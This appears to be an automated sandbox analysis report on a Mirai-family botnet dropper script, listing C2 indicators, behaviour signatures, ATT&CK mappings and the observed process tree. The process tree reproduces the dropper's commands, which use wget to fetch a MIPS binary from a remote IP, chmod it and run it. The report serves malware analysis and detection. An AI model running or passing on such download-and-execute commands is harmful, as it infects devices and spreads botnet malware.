Analysis
- max time kernel
144s - max time network
137s - platform
debian-9_mips - resource
debian9-mipsbe-20250619-en - resource tags
- submitted
11/05/2026, 22:40
General
- Target linux.sh
- Size 2KB
- Sample260511-2lnqlabs8w
- SHA256 337e7d9d9b05864e8898ff5dbac782bfa349638490d32b5e0716765d925c2df7
Score
10/10
Malware Config
Extracted
Family
-
mirai
C2
-
cnc.504.su
-
89.190.156.145
Signatures
- Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Traces itself 20 IoCs
Traces itself to prevent debugging attempts
- Changes its process name 2 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/linux.sh/tmp/linux.sh1⤵
- Executes dropped EXE
-
/bin/unameuname -s2⤵
-
-
/bin/unameuname -m2⤵
-
-
/bin/rmrm -f manji.mips2⤵
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget http://156.238.242.196/manji.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 manji.mips2⤵
- File and Directory Permissions Modification
-
-
/bin/sleepsleep 2222⤵
-
-
/tmp/manji.mips./manji.mips1⤵
- Traces itself
- Changes its process name
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
manji.mips